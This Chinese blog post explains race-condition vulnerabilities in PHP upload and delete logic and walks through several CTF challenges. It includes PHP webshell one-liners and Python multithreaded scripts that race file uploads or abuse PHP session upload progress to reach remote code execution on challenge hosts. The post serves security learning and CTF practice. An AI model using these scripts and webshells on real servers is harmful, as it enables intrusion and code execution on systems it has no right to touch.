浅析条件竞争漏洞

0x00-条件竞争

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的。开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果,简而言之就是并没有考虑线程同步。因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

0x01-基础知识

先来了解一下关于条件竞争的基础知识

条件竞争
系统中,最小的运算调度单位是线程,而每个线程又依附于一个进程,条件竞争则是多进程 或多线程对一个共享资源操作,因为操作顺序不受控的时候所产生的问题。

进程
进程是为了更好的利用CPU的资源;进程是系统进行资源分配和调度的一个独立单位;每个进程都有自己的独立内存空间,不同进程 通过进程间通信来通信;由于进程比较重要,占据独立的内存,所以上 下文进程间的切换开销(栈、寄存器、虚拟内 存、文件句柄等)比较大,但相对比较稳定安 全。

线程
线程的是为了降低上下文切换的消耗,提高系 统的并发性,并突破一个进程只能干一样事的 缺陷,使到进程内并发成为可能。 线程是进程的一个实体,是CPU调度和分派的基 本单位,它是比进程更小的能独立运行的基本单 位。线程自己基本上不拥有系统资源,只拥有一点在 运行中必不可少的资源(如程序计数器,一组寄 存器和栈),但是它可与同属一个进程的其他的 线程共享进程所拥有的全部资源。 线程间通信主要通过共享内存,上下文切换很快,资源开销较少,但相比进程不够稳定容易 丢失数据。
Session:
PHP session 变量用于存储关于用户会话(session)的信息,或者更改用户会话(session)的设置。Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的。

0x02-漏洞分析

攻击者不断的发起访问请求访问该文件,该文件一旦被执行,就会在服务器上生成一个恶意的shell文件

首先上传一个php文件,然后检测文件后缀名,如果不符合条件,就删掉,虽然php代码在执行的时候是线性执行代码的,但是执行的时候可以有多个线程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
header("Content-Type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$ext = substr($filename,strrpos($filename,'.') + 1); #后缀

$path = 'uploads/' . $filename;
$tmp = $_FILES['file']['tmp_name'];
if(move_uploaded_file($tmp, $path)){
if(!preg_match('/php/i', $ext)){ #判断后缀是否为php
echo 'upload success,file in '.$path;
}else{
unlink($path); #已经上传后判断若是PHP则删除
die("can't upload php file!");
}
}else{
die('upload error');
}

继续上传一个php文件

1
2
3
4
<?php
$content='<?php system($_GET["c"]);?>';
file_put_contents('test.php',$content);
?>

在执行完move_uploaded_file之后,执行unlink之前,此时这个php文件是已经保存到了web服务器上的,并且我们能够访问。

如果上传的php的功能是写一句话到一个php文件,这样我们在删除之前访问该文件,就会生成一个一句话木马,就可以得到webshell。 所以我们使用多线程并发的不断访问上传的文件,务器中的函数执行都是需要时间的,如果我上传上去的文件在没被删除的时候,一旦成功访问到了上传的文件,那么它就会向服务器写入shell。

一般而言,我们是上传了文件,但是最后却因为过滤或者因为其他原因被删除了,那么我们可以使用条件竞争,我们实际上是和unlink,以及删除文件的函数进行竞争。文件被访问了依旧可以删除,它删除跟我访问没有任何关系。

0x03-CTF中的条件竞争

upload-libs pass17

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}

分析代码:

1
$temp_file = $_FILES['upload_file']['tmp_name'];//存储在服务器的文件的临时副本的名称

当我们上传web shell文件时,不会先限制php类型文件上传,先利用上面的语句把上传的文件临时存放。再执行下面的if语句进行文件类型的限制和文件名的时间戳。然后执行

1
if(move_uploaded_file($temp_file, $upload_file))//移动到新文件夹

绕过思路是利用代码执行过程有耗费时间的过程,上传速度大于匹配unlink条件就能显示webshell界面

方法一:使用brup抓包

使用burpsuite抓包上传shell.php,一直重放上传文件

shell.php内容:

1
<?php fputs(fopen('pass.php','w'),'<?php phpinfo();?>'); ?>

只要访问了shell.php文件,php文件就会成功解析执行,自动创建一个pass.php,写入一句话木马:<?php phpinfo();?>
在这里插入图片描述
然后Send to lntruder,并且进行以下的设置
在这里插入图片描述
Payload设置
在这里插入图片描述

然后不停访问http://localhost/upload-labs/upload/shell.php,爆破结束后,访问pass.php,出现phpinfo信息,shell上传成功在这里插入图片描述

方法二:pytho多线程上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor


def td(list):
url = 'http://localhost/upload-labs/Pass-17/index.php'
files = {'upload_file': (
'shell2.php', "<?php fputs(fopen('pass2.php','w'),'<?php phpinfo();?>');?>")}
data = {'submit': '上传'}
r = requests.post(url=url, data=data, files=files)
re = requests.get('http://localhost/upload-labs/upload/shell2.php')
if re.status_code == 200:
print('上传成功')


if __name__ == '__main__':
with ThreadPoolExecutor(20) as p:
p.map(td, range(200))

访问pass2.php,也能看到phpinfo页面
在这里插入图片描述

ctfhsow [大牛杯]-web_checkin

羽师傅的大牛杯wp,发现用到了条件竞争漏洞,照着wp复现一下。

随便传参一个code=1,F12查看源码,注释提示仅允许index.php存在,删除所有其他文件,从这句话里可以猜测含有条件竞争漏洞。

1
2
<!-- 仅允许index.php存在,删除所有其他文件 -->
xi nei~

查看所有文件

1
?code=?><?=`nl%09*`

读取到部分源码

1
2
3
4
5
6
7
8
9
10
11
1	<?php ?><?=`nl	*`
2 ?>
3 <?php
4 opendir("./");
5 while($filename = readdir()) {
6 if($filename != "." && $filename != ".." && $filename != "index.php") {
7 unlink($filename);
8 }
9 }
10 closedir();
11 ?>

生成文件atkx

1
?code=`nl%09/*>atkx`

直接使用羽师傅的脚本进行条件竞争,将源码写入atkx中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -*- coding:utf-8 -*-
#author: yu2xx
import requests
import threading
import sys
session=requests.session()
url1="http://bdd02bb0-9c48-4203-806f-64219749382b.challenge.ctf.show:8080/sandbox/3fa05e3dafa3d6413be416b360149b5c/"
url2='http://bdd02bb0-9c48-4203-806f-64219749382b.challenge.ctf.show:8080/sandbox/3fa05e3dafa3d6413be416b360149b5c/atkx'
def write():
while True:
r = session.get(url1)
def read():
while True:
r = session.get(url2)
if len(r.text)!=9561: #随便get传一次就能得到这个长度
print(r.text)

threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

然后访问atkx可以读取到源码
在这里插入图片描述
想要得到flag的话,直接

1
?code=?><?=`nl%09/*

[WMCTF2020]Make PHP Great Again

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

考查:利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

  • 前提: 需要知道session文件的存放位置。
  • 思路: 利用session.upload_progress将恶意语句写入session文件,从而包含session文件。

session.upload_progress 是PHP5.4的新特征。
在这里插入图片描述
php.ini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1.session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。这一点至关重要,下面会用到。1. session.upload_progress.enabled = on
enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

2. session.upload_progress.cleanup = on
cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;

3. session.upload_progress.prefix = "upload_progress_"
prefix+name将表示为session中的键名

4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

5.session.use_strict_mode=off
这个选项默认值为off,表示对Cookie中sessionid可控。

一个上传进度数组的结构的例子

1
2
3
4
5
6
7
#PHPSESSION = Sn0w
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>

在session中存放的数据
在这里插入图片描述
session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'的条件下,上传文件,便会在session['upload_progress_123']中储存一些本次上传相关的信息,储存在/tmp/sess_Sn0w

Session的默认保存路径
在php.ini里的配置session.save_path是注释掉的,那么Seesion保存的路径在不同类型操作系统保存在什么位置?

1
2
3
4
5
Linux:
/tmp 或 /var/lib/php/session

Windows:
C:\WINDOWS\Temp

在本地phpstudy中找到session的存储位置
在这里插入图片描述
理论具体参考:https://www.yuque.com/u5013914/sn0w/blh341#LbWIR

解题方法1:burpsite条件竞争

本地html向指定网址上传文件

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://f0ea2244-d2b8-43be-8ec6-f61da1585183.chall.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

bp设置,Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag,利用session.upload_progress写入恶意语句
在这里插入图片描述
GET方式访问?file=/tmp/sess_flag
在这里插入图片描述
在默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,它就会清除进度信息,利用条件竞争应付这种情况
在这里插入图片描述
知道目录文件名为flag.php,修改一句话木马为cat flag.php,继续竞争读取flag
在这里插入图片描述
解题方法2:python脚本实现竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# coding=utf-8
import io
import requests
import threading

url = 'http://352c5d9e-8728-47e3-b3e5-7e8934e06141.node3.buuoj.cn/'
sessid = 'Atkx'
data = {"cmd": "system('ls');"}


def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
files={'file': ('Atkx.txt', f)},
cookies={'PHPSESSID': sessid})


def read(session):
while True:
resp = session.post(url+'?file=/tmp/sess_' + sessid,
data=data)
if 'Atkx.txt' in resp.text:
print(resp.text)
event.clear()
else:
print('[*]')


if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()

读到flag.php
在这里插入图片描述
修改一句话木马为cat flag.php,读取flag
在这里插入图片描述

ctfhshow [web入门]-web82

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

通过观察代码,可以看到过滤了大部分的文件包含函数,这里我们利用PHP_SESSION_UPLOAD_PROGRESS和条件竞争进行文件包含。

和上面题一样,直接一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# coding=utf-8
# coding=utf-8
import io
import requests
import threading

url = 'http://4bd1dd58-0b1c-4019-8f55-44ad4dbea031.challenge.ctf.show:8080/'
sessid = 'Atkx'
data = {"cmd": "system('ls');"}


def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
files={'file': ('Atkx.txt', f)},
cookies={'PHPSESSID': sessid})


def read(session):
while True:
resp = session.post(url+'?file=/tmp/sess_' + sessid,
data=data)
if 'Atkx.txt' in resp.text:
print(resp.text)
event.clear()
else:
print('[*]')


if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()

接下来修改代码读取fl0g.php
在这里插入图片描述

ctfhshow [web入门]-web149

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$files = scandir('./'); 
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

使用bp不断访问并传参,然后开一个去不断访问 1.php

1
2
ctf=1.php
show=<?php system('tac /c*');?>

利用脚本实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import threading

url = "http://ae3929ad-8f8f-4dc5-88c9-511d15e5625d.chall.ctf.show:8080/"

def write():
while event.isSet():
data = {
'show':'<?php system("ls /");?>'
}
W_reponse = requests.post(url+"?ctf=1.php",data=data)

def read():
while event.isSet():
R_reponse = requests.get(url+"1.php")
if R_reponse.status_code != 404:
print(R_reponse.text)
event.clear()
else:
print('[*]continued')

if __name__ == '__main__':
# 通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
event = threading.Event()
# 将event的标志设置为True,调用wait方法的所有线程将被唤醒;
event.set()
for i in range(1, 100):
threading.Thread(target=write).start()
for i in range(1, 100):
threading.Thread(target=read).start()

跑脚本,发现了ctfshow_fl0g_here.txt文件
在这里插入图片描述

修改为cat /ctfshow_fl0g_here.txt继续跑脚本,即可得到flag
在这里插入图片描述


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!